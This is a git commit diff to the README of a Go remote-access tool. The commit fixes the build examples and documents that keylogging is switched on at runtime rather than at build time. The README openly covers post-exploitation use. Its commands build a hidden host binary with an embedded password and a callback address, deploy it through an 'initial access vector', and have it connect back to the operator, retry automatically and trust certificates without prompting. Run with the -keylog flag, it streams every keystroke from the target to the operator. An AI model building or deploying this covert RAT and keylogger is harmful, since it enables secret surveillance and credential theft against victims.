Clarify keylogging is runtime flag, not compile-time option; fix build examples

This commit is contained in:
creinky committed 2026-11-22 22:46:44 -07:00
1 parent 51a0682ec6
commit 071fd958a2
1 file changed
+42 -15
+42 -15
View File
@@ -112,9 +112,10 @@ you embedded in the host binary). Enter it and you have control.
**With keylogger:**
```powershell
# Build with keylogging enabled:
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Keylog -Hidden
# Build normally, then run with -keylog on the target:
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Hidden
```
On the target machine, run `host.exe -keylog` to enable keyboard capture.
The client will show a second popup window streaming captured keystrokes
alongside the main remote desktop view, and write them to a timestamped log file.
See [Keylogger](#keylogger) for details.
@@ -125,14 +126,19 @@ The host can capture all keyboard input on the target machine and stream it to t
### Enabling Keylogging
Build the host with the `-Keylog` flag:
Pass the `-keylog` flag when running the host binary:
```powershell
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Keylog -Hidden
.\host.exe -keylog
```
Or pass it at runtime (if not baked in):
For a reverse-connect host with embedded credentials, build normally and pass
the flag at runtime on the target machine:
```bash
host.exe -keylog
# On your build machine (Linux or Windows):
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.embeddedPasswordHash=<hash> -X main.embeddedConnectAddr=your-ip:47812" -o lanrdp_host.exe ./cmd/host
# On the target machine:
.\lanrdp_host.exe -keylog
```
### Client-Side Output
@@ -157,9 +163,11 @@ Each logged entry includes:
For post-exploitation scenarios where the target machine runs `host.exe` and connects back to your listener:
1. **Build the host** with embedded password, reverse-connect address, and optional keylogging:
```powershell
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Keylog -Hidden
1. **Build the host** with embedded password and reverse-connect address:
```bash
# On your build machine (Linux or Windows):
go run ./cmd/hashpw <<< "mypassword"
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.embeddedPasswordHash=<hash> -X main.embeddedConnectAddr=your-public-ip:47812" -o lanrdp_host.exe ./cmd/host
```
2. **Deploy `host.exe`** to the target machine (via your initial access vector)
@@ -172,11 +180,17 @@ For post-exploitation scenarios where the target machine runs `host.exe` and con
> **Internet access requires an open port:** If connecting over the internet (not LAN), you must forward port `47812` on your router to the machine running the listener. Use a dynamic DNS service or static IP if your public IP changes.
4. **Target connects back automatically** — no firewall rules needed on the target side, and it works across different networks (LAN or internet)
4. **Run with keylogging if desired:**
```powershell
.\lanrdp_host.exe -keylog
```
The `-keylog` flag enables global keyboard capture on the target.
5. **Certificate trust is automatic** — the host embeds its certificate fingerprint at build time; the client auto-trusts it without interactive prompts
5. **Target connects back automatically** — no firewall rules needed on the target side, and it works across different networks (LAN or internet)
6. **Reconnection is built-in** — if the connection drops, `host.exe` automatically retries every 10 seconds (configurable with `-retry-interval`)
6. **Certificate trust is automatic** — the host embeds its certificate fingerprint at build time; the client auto-trusts it without interactive prompts
7. **Reconnection is built-in** — if the connection drops, `host.exe` automatically retries every 10 seconds (configurable with `-retry-interval`)
> **Note:** A `-password` flag for non-interactive client authentication is planned but not yet implemented. Currently the client always prompts for the passphrase interactively.
@@ -214,9 +228,22 @@ GOOS=windows GOARCH=amd64 go build -o lanrdp_host.exe ./cmd/host
```
The resulting `.exe` files are fully functional Windows binaries that can be
deployed to any Windows machine. For a host with an embedded password and
callback address, use `build-host.ps1` on a Windows machine or set the
appropriate `-ldflags` manually during cross-compilation.
deployed to any Windows machine.
For a host with an embedded password and callback address, use `build-host.ps1`
on a Windows machine. To replicate this on Linux, hash the passphrase first:
```bash
# Hash the passphrase (run from repo root)
go run ./cmd/hashpw <<< "mypassword"
# Use the output as -X main.embeddedPasswordHash in your build command
```
Then build with ldflags:
```bash
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.embeddedPasswordHash=<hash> -X main.embeddedConnectAddr=your-ip:47812" -o lanrdp_host.exe ./cmd/host
```
Keylogging is enabled at runtime with the `-keylog` flag on the host binary —
it's not a compile-time option. Simply run `host.exe -keylog` on the target.
> **Recommendation:** Compile both client and host binaries on your build
> machine (Linux or Windows) before deployment. This ensures you have clean,